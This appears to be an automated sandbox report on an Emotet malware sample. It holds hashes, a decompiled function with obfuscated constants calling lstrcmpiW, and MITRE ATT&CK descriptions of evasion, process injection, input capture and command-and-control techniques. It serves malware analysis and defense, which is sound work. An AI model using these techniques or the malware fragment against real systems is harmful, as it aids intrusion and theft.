Opcode Fuzzy Hash: 2512bc8cf98a9556459c8d1695ff192ee3e01f460f93b2f36ca59e351fe401b9
Instruction Fuzzy Hash: 1F11F3B5C1030DFBCB18DFE8D8869AEBBB4EF44304F108698A855A6261D3B56B158F91

Uniqueness

Uniqueness Score: -1.00%

Function 100117CB, Relevance: 1.3, APIs: 1, Instructions: 56
stringCOMMON

Download Yara Rule

C-Code - Quality: 86%

			E100117CB(WCHAR* __ecx, void* __edx, intOrPtr _a4, WCHAR* _a8) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				void* _t44;
				int _t55;
				signed int _t57;
				WCHAR* _t62;

				_push(_a8);
				_t62 = __ecx;
				_push(_a4);
				_push(__ecx);
				E10022523(_t44);
				_v24 = _v24 & 0x00000000;
				_v32 = 0x2c5dd9;
				_v28 = 0x29a411;
				_v16 = 0xb6013c;
				_v16 = _v16 >> 2;
				_v16 = _v16 << 5;
				_v16 = _v16 ^ 0x05bceb0d;
				_v12 = 0xa7496a;
				_t57 = 7;
				_v12 = _v12 * 0x55;
				_v12 = _v12 | 0x1a205192;
				_v12 = _v12 ^ 0x3fab9f8f;
				_v8 = 0xf5055a;
				_v8 = _v8 / _t57;
				_v8 = _v8 + 0xa16;
				_v8 = _v8 * 0x7e;
				_v8 = _v8 ^ 0x1132ba81;
				_v20 = 0xaea409;
				_v20 = _v20 << 6;
				_v20 = _v20 ^ 0x2ba3ef66;
				E10002309(0xb8, _t57, _t57, 0xbf157248, _t57, 0x9c9047d0);
				_t55 = lstrcmpiW(_t62, _a8); // executed
				return _t55;
			}

APIs

lstrcmpiW.KERNEL32(?,05BCEB0D,?,?,?,?,?,?,?,?,00000000), ref: 1001188D

Memory Dump Source

Source File: 0000000B.00000002.780947015.0000000010001000.00000040.00000001.sdmp, Offset: 10000000, based on PE: true

Associated: 0000000B.00000002.780933222.0000000010000000.00000004.00000001.sdmp Download File
Associated: 0000000B.00000002.781033949.0000000010025000.00000004.00000001.sdmp Download File

Similarity

API ID: lstrcmpi
String ID:
API String ID: 1586166983-0
Opcode ID: d112a349bd06866e322501f938da4f729aeb5c72f8ac7eafb21e1b49d57e3827
Instruction ID: 1774797ce17004cd69ed458787da8d3b2b53829bebfee28bf73c73f1d8c62a15
Opcode Fuzzy Hash: d112a349bd06866e322501f938da4f729aeb5c72f8ac7eafb21e1b49d57e3827
Instruction Fuzzy Hash: 652127B5D0020CFFDB04DFA4D94A9EEBBB4EB44304F108189E425B7240E3B56B049F91

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to achieve execution. WMI is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB) and Remote Procedure Call Service (RPCS) for remote access. RPCS operates over port 135.
Tactics:	Execution
Data Sources:	Authentication logs, Netflow/Enclave netflow, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by hijacking the library manifest used to load DLLs. Adversaries may take advantage of vague references in the library manifest of a program by replacing a legitimate library with a malicious one, causing the operating system to load their malicious library when it is called for by the victim program.
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	Loaded DLLs, Process monitoring, Process use of network
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules ), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads.
Tactics:	Defense Evasion
Data Sources:	DLL monitoring, Loaded DLLs, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	API monitoring, Binary file metadata, DLL monitoring, Kernel drivers, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, User interface, Windows Registry, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Windows Analysis Report pPX9DaPVYj

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: Emotet

Yara Overview

Memory Dumps

Unpacked PEs

Sigma Overview

System Summary:

Jbx Signature Overview

AV Detection:

Compliance:

Spreading:

Networking:

Key, Mouse, Clipboard, Microphone and Screen Capturing:

E-Banking Fraud:

System Summary:

Data Obfuscation:

Persistence and Installation Behavior:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Lowering of HIPS / PFW / Operating System Security Settings:

Stealing of Sensitive Information:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

Contacted IPs

Public

Private

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Exports

Version Infos

Possible Origin

Network Behavior

Snort IDS Alerts

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port paring that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre